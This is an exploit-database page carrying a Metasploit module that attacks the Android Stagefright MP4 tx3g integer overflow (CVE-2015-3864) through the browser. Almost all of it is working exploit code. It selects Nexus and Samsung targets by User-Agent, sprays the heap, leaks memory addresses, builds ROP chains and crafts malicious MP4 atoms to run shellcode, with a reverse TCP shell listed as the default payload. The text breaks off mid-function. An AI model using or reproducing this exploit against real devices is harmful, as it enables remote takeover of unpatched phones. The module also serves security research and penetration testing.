Menu

Search for hundreds of thousands of exploits

"Google Android 5.0 < 5.1.1 - 'Stagefright' .MP4 tx3g Integer Overflow (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

android

Release date

Exploit published date

2016-09-27

   1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 117
 118
 119
 120
 121
 122
 123
 124
 125
 126
 127
 128
 129
 130
 131
 132
 133
 134
 135
 136
 137
 138
 139
 140
 141
 142
 143
 144
 145
 146
 147
 148
 149
 150
 151
 152
 153
 154
 155
 156
 157
 158
 159
 160
 161
 162
 163
 164
 165
 166
 167
 168
 169
 170
 171
 172
 173
 174
 175
 176
 177
 178
 179
 180
 181
 182
 183
 184
 185
 186
 187
 188
 189
 190
 191
 192
 193
 194
 195
 196
 197
 198
 199
 200
 201
 202
 203
 204
 205
 206
 207
 208
 209
 210
 211
 212
 213
 214
 215
 216
 217
 218
 219
 220
 221
 222
 223
 224
 225
 226
 227
 228
 229
 230
 231
 232
 233
 234
 235
 236
 237
 238
 239
 240
 241
 242
 243
 244
 245
 246
 247
 248
 249
 250
 251
 252
 253
 254
 255
 256
 257
 258
 259
 260
 261
 262
 263
 264
 265
 266
 267
 268
 269
 270
 271
 272
 273
 274
 275
 276
 277
 278
 279
 280
 281
 282
 283
 284
 285
 286
 287
 288
 289
 290
 291
 292
 293
 294
 295
 296
 297
 298
 299
 300
 301
 302
 303
 304
 305
 306
 307
 308
 309
 310
 311
 312
 313
 314
 315
 316
 317
 318
 319
 320
 321
 322
 323
 324
 325
 326
 327
 328
 329
 330
 331
 332
 333
 334
 335
 336
 337
 338
 339
 340
 341
 342
 343
 344
 345
 346
 347
 348
 349
 350
 351
 352
 353
 354
 355
 356
 357
 358
 359
 360
 361
 362
 363
 364
 365
 366
 367
 368
 369
 370
 371
 372
 373
 374
 375
 376
 377
 378
 379
 380
 381
 382
 383
 384
 385
 386
 387
 388
 389
 390
 391
 392
 393
 394
 395
 396
 397
 398
 399
 400
 401
 402
 403
 404
 405
 406
 407
 408
 409
 410
 411
 412
 413
 414
 415
 416
 417
 418
 419
 420
 421
 422
 423
 424
 425
 426
 427
 428
 429
 430
 431
 432
 433
 434
 435
 436
 437
 438
 439
 440
 441
 442
 443
 444
 445
 446
 447
 448
 449
 450
 451
 452
 453
 454
 455
 456
 457
 458
 459
 460
 461
 462
 463
 464
 465
 466
 467
 468
 469
 470
 471
 472
 473
 474
 475
 476
 477
 478
 479
 480
 481
 482
 483
 484
 485
 486
 487
 488
 489
 490
 491
 492
 493
 494
 495
 496
 497
 498
 499
 500
 501
 502
 503
 504
 505
 506
 507
 508
 509
 510
 511
 512
 513
 514
 515
 516
 517
 518
 519
 520
 521
 522
 523
 524
 525
 526
 527
 528
 529
 530
 531
 532
 533
 534
 535
 536
 537
 538
 539
 540
 541
 542
 543
 544
 545
 546
 547
 548
 549
 550
 551
 552
 553
 554
 555
 556
 557
 558
 559
 560
 561
 562
 563
 564
 565
 566
 567
 568
 569
 570
 571
 572
 573
 574
 575
 576
 577
 578
 579
 580
 581
 582
 583
 584
 585
 586
 587
 588
 589
 590
 591
 592
 593
 594
 595
 596
 597
 598
 599
 600
 601
 602
 603
 604
 605
 606
 607
 608
 609
 610
 611
 612
 613
 614
 615
 616
 617
 618
 619
 620
 621
 622
 623
 624
 625
 626
 627
 628
 629
 630
 631
 632
 633
 634
 635
 636
 637
 638
 639
 640
 641
 642
 643
 644
 645
 646
 647
 648
 649
 650
 651
 652
 653
 654
 655
 656
 657
 658
 659
 660
 661
 662
 663
 664
 665
 666
 667
 668
 669
 670
 671
 672
 673
 674
 675
 676
 677
 678
 679
 680
 681
 682
 683
 684
 685
 686
 687
 688
 689
 690
 691
 692
 693
 694
 695
 696
 697
 698
 699
 700
 701
 702
 703
 704
 705
 706
 707
 708
 709
 710
 711
 712
 713
 714
 715
 716
 717
 718
 719
 720
 721
 722
 723
 724
 725
 726
 727
 728
 729
 730
 731
 732
 733
 734
 735
 736
 737
 738
 739
 740
 741
 742
 743
 744
 745
 746
 747
 748
 749
 750
 751
 752
 753
 754
 755
 756
 757
 758
 759
 760
 761
 762
 763
 764
 765
 766
 767
 768
 769
 770
 771
 772
 773
 774
 775
 776
 777
 778
 779
 780
 781
 782
 783
 784
 785
 786
 787
 788
 789
 790
 791
 792
 793
 794
 795
 796
 797
 798
 799
 800
 801
 802
 803
 804
 805
 806
 807
 808
 809
 810
 811
 812
 813
 814
 815
 816
 817
 818
 819
 820
 821
 822
 823
 824
 825
 826
 827
 828
 829
 830
 831
 832
 833
 834
 835
 836
 837
 838
 839
 840
 841
 842
 843
 844
 845
 846
 847
 848
 849
 850
 851
 852
 853
 854
 855
 856
 857
 858
 859
 860
 861
 862
 863
 864
 865
 866
 867
 868
 869
 870
 871
 872
 873
 874
 875
 876
 877
 878
 879
 880
 881
 882
 883
 884
 885
 886
 887
 888
 889
 890
 891
 892
 893
 894
 895
 896
 897
 898
 899
 900
 901
 902
 903
 904
 905
 906
 907
 908
 909
 910
 911
 912
 913
 914
 915
 916
 917
 918
 919
 920
 921
 922
 923
 924
 925
 926
 927
 928
 929
 930
 931
 932
 933
 934
 935
 936
 937
 938
 939
 940
 941
 942
 943
 944
 945
 946
 947
 948
 949
 950
 951
 952
 953
 954
 955
 956
 957
 958
 959
 960
 961
 962
 963
 964
 965
 966
 967
 968
 969
 970
 971
 972
 973
 974
 975
 976
 977
 978
 979
 980
 981
 982
 983
 984
 985
 986
 987
 988
 989
 990
 991
 992
 993
 994
 995
 996
 997
 998
 999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Android Stagefright MP4 tx3g Integer Overflow",
      'Description'    => %q{
          This module exploits a integer overflow vulnerability in the Stagefright
        Library (libstagefright.so). The vulnerability occurs when parsing specially
        crafted MP4 files. While a wide variety of remote attack vectors exist, this
        particular exploit is designed to work within an HTML5 compliant browser.

          Exploitation is done by supplying a specially crafted MP4 file with two
        tx3g atoms that, when their sizes are summed, cause an integer overflow when
        processing the second atom. As a result, a temporary buffer is allocated
        with insufficient size and a memcpy call leads to a heap overflow.

          This version of the exploit uses a two-stage information leak based on
        corrupting the MetaData that the browser reads from mediaserver. This method
        is based on a technique published in NorthBit's Metaphor paper. First,
        we use a variant of their technique to read the address of a heap buffer
        located adjacent to a SampleIterator object as the video HTML element's
        videoHeight. Next, we read the vtable pointer from an empty Vector within
        the SampleIterator object using the video element's duration. This gives
        us a code address that we can use to determine the base address of
        libstagefright and construct a ROP chain dynamically.

        NOTE: the mediaserver process on many Android devices (Nexus, for example) is
        constrained by SELinux and thus cannot use the execve system call. To avoid
        this problem, the original exploit uses a kernel exploit payload that disables
        SELinux and spawns a shell as root. Work is underway to make the framework
        more amenable to these types of situations. Until that work is complete, this
        exploit will only yield a shell on devices without SELinux or with SELinux in
        permissive mode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          # Exodus/jordan # initial discovery / disclosure
          'jduck',     # Metasploit module, further infoleak development
          'NorthBit'   # intiial information leak implementation
        ],
      'References'     =>
        [
          [ 'CVE', '2015-3864' ],
          [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
          [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
          [ 'URL', 'https://github.com/NorthBit/Metaphor' ],
          # Not used, but related
          [ 'URL', 'http://drops.wooyun.org/papers/7558' ],
          [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
        ],
      'Payload'        =>
        {
          'Space'    => 2048,
          'DisableNops' => true,
        },
      #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },
      'Platform'       => 'linux',
      'Arch'           => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          #
          # Each target includes information about the device, firmware, and
          # how exactly to about exploiting it.
          #
          # Primarily, these targets are used to map a browser's User-Agent to
          # exploit specifics for that device / build.
          #
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX21P',
              'Release' => '5.0',
              'Rop' => 'lrx',
              'SprayAddress' => 0xb1508000
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22G',
              'Release' => '5.0.2',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47O',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47V',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY48G',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22G',
              'Release' => '5.0.2',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47O',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47V',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LRX21O',
              'Release' => '5.0',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY47D',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY47I',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY48B',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LRX21O',
              'Release' => '5.0',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47D',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47E',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47I',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LYZ28E',
              'Release' => '5.1.1',
              'Rop' => 'shamu / LYZ28E'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47M',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47Z',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LVY48C',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LYZ28J',
              'Release' => '5.1.1',
              'Rop' => 'shamu / LYZ28J'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LVY48E',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
            {
              'Model' => 'SM-G900V',
              'Build' => 'LRX21T',
              'Release' => '5.0',
              'Rop' => 'sm-g900v / OE1',
              'SprayAddress' => 0xaf008000,
              'SampleIteratorSize' => 0xa8,
              'VectorSize' => 0xec
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Aug 13 2015",
      'DefaultTarget'  => 0))

=begin
    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
=end
  end

  def exploit
    @peers = {}
    super
  end

  def get_target(request)
    agent = request.headers['User-Agent']
    self.targets.each do |t|
      next if t.name == 'Automatic'
      regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
      return t if (agent =~ /#{regexp}/)
    end
    return nil
  end

  #
  # Construct a page worth of data that we'll spray
  #
  # NOTE: The data within is target-specific
  #
  def build_spray(my_target, peer, spray_addr)
    # Initialize the page to a reasonable state.
    page = ''
    page = rand_text(4096)

    # Load target-based exploit-specific variables
    details = get_details(my_target)
    return nil if details.nil?

    # Calculate the libstagefright.so base address
    vector_rva = details['VectorRVA']
    vector_ptr = peer[:vector_vtable_addr]
    libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)

    # If we smash mDataSource, this ends up controlling the program counter!!
=begin
    0xb65fd7c4 <parseChunk(long long*, int)+4596>:      ldr     r2, [r0, #0]
    0xb65fd7c6 <parseChunk(long long*, int)+4598>:      str     r1, [sp, #0]
    0xb65fd7c8 <parseChunk(long long*, int)+4600>:      ldr     r5, [r7, #0]
    0xb65fd7ca <parseChunk(long long*, int)+4602>:      str     r5, [sp, #4]
    0xb65fd7cc <parseChunk(long long*, int)+4604>:      ldr     r6, [r2, #28]
    0xb65fd7ce <parseChunk(long long*, int)+4606>:      ldrd    r2, r3, [r10]
    0xb65fd7d2 <parseChunk(long long*, int)+4610>:      blx     r6
    0xb65fd7d4 <parseChunk(long long*, int)+4612>:      ldrd    r2, r3, [sp, #64]       ; 0x40
=end

    # Initialize our pivot values and adjust them to libstagefright's base.
    # First, load r0 (pointer to our buffer) into some register..
    mds_pivot1 = libsf_base + details['Pivot1']

    # Next, load sp (and probably other stuff) from there
    mds_pivot2 = libsf_base + details['Pivot2']

    # Finally, skip over some stuff and kick of the ROP chain
    mds_adjust = libsf_base + details['Adjust']

    # The offset to the ROP change beginning
    rop_start_off = 0x30

    # Point sp to the remainder of the ROP chain
    new_sp = spray_addr + rop_start_off

    # Sometimes the spray isn't aligned perfectly, this fixes that situation...
    unalign_off = 0x998
    new_sp2 = new_sp + 0x1000 - unalign_off

    # This pointer should point to the beginning of the shellcode payload
    payload_ptr = spray_addr + 0xa0

    # Put the stack back!
    stack_fix = "\x0a\xd0\xa0\xe1"  # mov sp, r10 ; restore original sp

    # Depending on the pivot strategy in use, we have to set things up slightly
    # differently...
    #
    # In each case, we use a two-stage pivot that reads the spray address from
    # r0 (we smashed that, remember).
    #
    # The addroffs array is used to map values to the offsets where the pivots
    # expect them to be.
    #
    case details['PivotStrategy']
    when 'lrx'
      addroffs = [
        [ 0x0, new_sp ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ],
      ]

      # Since we are only popping one item in pivot2, we reduce the rop_start_off
      rop_start_off -= 4

      # Adjust the payload pointer
      payload_ptr -= 4

    when 'lmy-1'
      addroffs = [
        [ 0x8, new_sp ],
        [ 0xc, mds_adjust ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ]
      ]

    when 'lmy-2'
      ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18  # adjust for displacement
      addroffs = [
        [ 0x0, ptr_to_mds_pivot2 ],
        [ 0x8, new_sp ],
        [ 0xc, mds_adjust ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ]
      ]

      stack_fix = "\x09\xd0\xa0\xe1"  # mov sp, r9 ; restore original sp

    when 'lyz'
      ptr_to_mds_pivot2 = spray_addr + 0x8
      addroffs = [
        [ 0x0, ptr_to_mds_pivot2 ],
        [ 0x8, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ],
        [ 0x24, new_sp ],
        # lr is at 0x28!
        [ 0x2c, mds_adjust ]
      ]

      # We can't fix it becuse we don't know where the original stack is anymore :-/
      stack_fix = ""

    when 'sm-g900v'
      addroffs = [
        [ 0x4, mds_adjust ],
        [ 0x10, new_sp ],
        [ 0x1c, mds_pivot1 ],
        [ 0x20, mds_pivot2 ]
      ]

    else
      print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
      return nil
    end

    # We need our ROP to build the page... Create it.
    rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })

    # Fix up the payload pointer in the ROP
    idx = rop.index([ 0xc600613c ].pack('V'))
    rop[idx, 4] = [ payload_ptr ].pack('V')

    # Insert the ROP
    page[rop_start_off, rop.length] = rop

    # Insert the special values...
    addroffs.each do |ao|
      off,addr = ao
      page[off,4] = [ addr ].pack('V')

      # Sometimes the spray isn't aligned perfectly...
      if addr == new_sp
        page[off+unalign_off,4] = [ new_sp2 ].pack('V')
      else
        page[off+unalign_off,4] = [ addr ].pack('V')
      end
    end

    page
  end

  #
  # MPEG-4 specific functionality
  #
  def get_atom(tag, data='', length=nil)
    if tag.length != 4
        raise 'Yo! They call it "FourCC" for a reason.'
    end

    length ||= data.length + 8
    if length >= 2**32
      return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
    end
    [ [ length ].pack('N'), tag, data ].join
  end

  def get_stsc(num)
    stsc_data = [ 0, num ].pack('N*')  # version/flags, mNumSampleToChunkOffsets
    stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
    get_atom('stsc', stsc_data)
  end

  def get_ftyp
    # Build the MP4 header...
    ftyp = 'mp42'
    ftyp << [ 0 ].pack('N')
    ftyp << 'mp42'
    ftyp << 'isom'
    get_atom('ftyp', ftyp)
  end

  def get_pssh(alloc_size)
    pssh_data = ''
    pssh_data << [ 0 ].pack('N')
    pssh_data << [ 0, 0, 0, 0 ].pack('N*')
    pssh_data << [ alloc_size ].pack('N')
    alloc_size.times do |off|
      pssh_data << [ 0x55aa0000 + off ] .pack('V')
    end
    get_atom('pssh', pssh_data)
  end

  def get_metaitem(tag, type, data)
    ret = ''
    ret << tag.reverse
    ret << type.reverse
    case type
    when 'in32'
      ret << [ 4, data ].pack('V*')
    when 'in64'
      ret << [ 8, data ].pack('V*')
    else
      raise "How do you expect me to make a #{type.inspect} ??"
    end
    ret
  end

  def jemalloc_round(sz)
    # These are in the 16-byte aligned runs
    if (sz > 0x10 && sz <= 0x80)
      round = 16
    # 160 starts the 32-byte aligned runs
    elsif (sz > 0x80 && sz <= 0x140)
      round = 32
    else
      raise "Don't know how to round 0x%x" % sz
    end
    ret = (sz + (round - 1)) / round
    ret *= round
    return ret
  end

  #
  # Leak data from mediaserver back to the browser!
  #
  # Stage 1 - leak a heap pointer near a SampleIterator object
  # Stage 2 - read a code pointer from the SampleIterator object
  #
  def get_mp4_leak(my_target, peer)
    # MPEG4 Fileformat Reference:
    # http://qtra.apple.com/index.html
    #
    # Structure:
    # [File type Chunk][Other Atom Chunks]
    #
    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
    #
    sampiter_alloc_size = 0x78
    sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
    sampiter_rounded = jemalloc_round(sampiter_alloc_size)
    vector_alloc_size = 0x8c
    vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
    groom_count = 0x10

    is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')

    # Coerce the heap into a favorable shape (fill holes)
    shape_vector = get_pssh(vector_alloc_size)

    # Allocate a block of memory of the correct size
    placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))

    # Make the first tx3g chunk, which is meant to overflow into a MetaData array.
    # We account for the overhead of both chunks here and aim for this layout:
    #
    # placeholder after re-allocation                     | vector array data
    # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
    #
    # Realistically, tx3g1_padding can be any number that rounds up to the
    # correct size class.
    tx3g1_overhead = 0x8
    tx3g2_overhead = 0x10
    tx3g_target = jemalloc_round(vector_alloc_size)
    tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
    tx3g_data = 'x' * tx3g1_padding
    tx3g_1 = get_atom('tx3g', tx3g_data)

    # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
    # avcC was in the initial commit.
    near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)

    # Craft the data that will overwrite the header and part of the MetaData
    # array...
    more_data = ''
    more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')

    # Now add the thing(s) we want to control (partially)
    #
    # We add some BS entries just to kill the real 'heig' and get proper
    # ordering...
    near_sampiter_addr = peer[:near_sampiter_addr]
    if near_sampiter_addr.nil?
      # Part 1. Leak the address of a chunk that should be adjacent to a
      # SampleIterator object.
      if is_samsung
        # On Samsung:
        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
        # After:  dmcE, abc1, abc2, abc3, heig...
        more_data << get_metaitem('dmcE', 'in32', 1)
        more_data << get_metaitem('abc1', 'in32', 31335)
        more_data << get_metaitem('abc2', 'in32', 31336)
      end

      # On Nexus:
      # Before: heig, hvcc, inpS, mime, text, widt
      # After:  abc3, heig...
      more_data << get_metaitem('abc3', 'in32', 31337)

      # NOTE: We only use the first 12 bytes so that we don't overwrite the
      # pointer that is already there!
      heig = get_metaitem('heig', 'in32', 31338)
      more_data << heig[0,12]
    else
      # Part 2. Read from the specified address, as with the original Metaphor
      # exploit.
      if is_samsung
        # On Samsung:
        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
        # After:  dmcE, dura, ...
        more_data << get_metaitem('dmcE', 'in32', 1)
      else
        # On Nexus:
        # Before: avcc, heig, inpS, mime, text, widt
        # After:  dura, ...
        near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
      end

      # Try to read the mCurrentChunkSampleSizes vtable ptr within a
      # SampleIterator object. This only works because the Vector is empty thus
      # passing the restrictions imposed by the duration conversion.
      ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
      more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
    end

    # The tx3g2 then needs to trigger the integer overflow, but can contain any
    # contents. The overflow will terminate at the end of the file.
    #
    # NOTE: The second tx3g chunk's overhead ends up in the slack space between
    # the replaced placeholder and the MetaData Vector contents.
    big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
    tx3g_2 = get_atom('tx3g', more_data, big_num)

    # Create a minimal, verified 'trak' to satisfy mLastTrack being set
    stbl_data = get_stsc(1)
    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets
    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes
    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount
    stbl = get_atom('stbl', stbl_data)
    verified_trak = get_atom('trak', stbl)

    # Start putting it all together into a track.
    trak_data = ''

    if is_samsung
      # Put some legitimate duration information so we know if we failed
      mdhd_data = [ 0 ].pack('N')     # version
      mdhd_data << "\x00" * 8         # padding
      mdhd_data << [ 1 ].pack('N')    # timescale
      mdhd_data << [ 314 ].pack('N')  # duration
      mdhd_data << [ 0 ].pack('n')    # lang
      trak_data << get_atom('mdhd', mdhd_data)
    end

    # Add this so that our file is identified as video/mp4
    mp4v_data = ''
    mp4v_data << [ 0 ].pack('C') * 24 # padding
    mp4v_data << [ 1024 ].pack('n')   # width
    mp4v_data << [ 768 ].pack('n')    # height
    mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length)  # padding
    trak_data << get_atom('mp4v', mp4v_data)  # satisfy hasVideo = true

    # Here, we cause allocations such that we can replace the placeholder...
    if is_samsung
      trak_data << placeholder   # Somethign we can free
      trak_data << shape_vector  # Eat the loose block...
      trak_data << stbl          # Cause the growth of the track->meta Vector
    else
      trak_data << stbl          # Cause the growth of the track->meta Vector
      trak_data << placeholder   # Somethign we can free
      trak_data << shape_vector  # Eat the loose block...
    end

    # Add the thing whose entry in the MetaData vector we want to overwrite...
    trak_data << near_sampiter

    # Get our overflow data into memory
    trigger = ''
    trigger << tx3g_1

    # Free the place holder
    trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))

    # Overflow the temporary buffer into the following MetaData array
    trigger << tx3g_2

    # !!! NOTE !!!
    # On Samsung devices, the failure that causes ERR to be returned from
    # 'tx3g' processing leads to "skipTrack" being set. This means our
    # nasty track and it's metadata get deleted and not returned to the
    # browser -- effectively killing the infoleak.
    #
    # However! It also handles "skipTrack" being set specially and does not
    # immediately propagate the error to the caller. Instead, it returns OK.
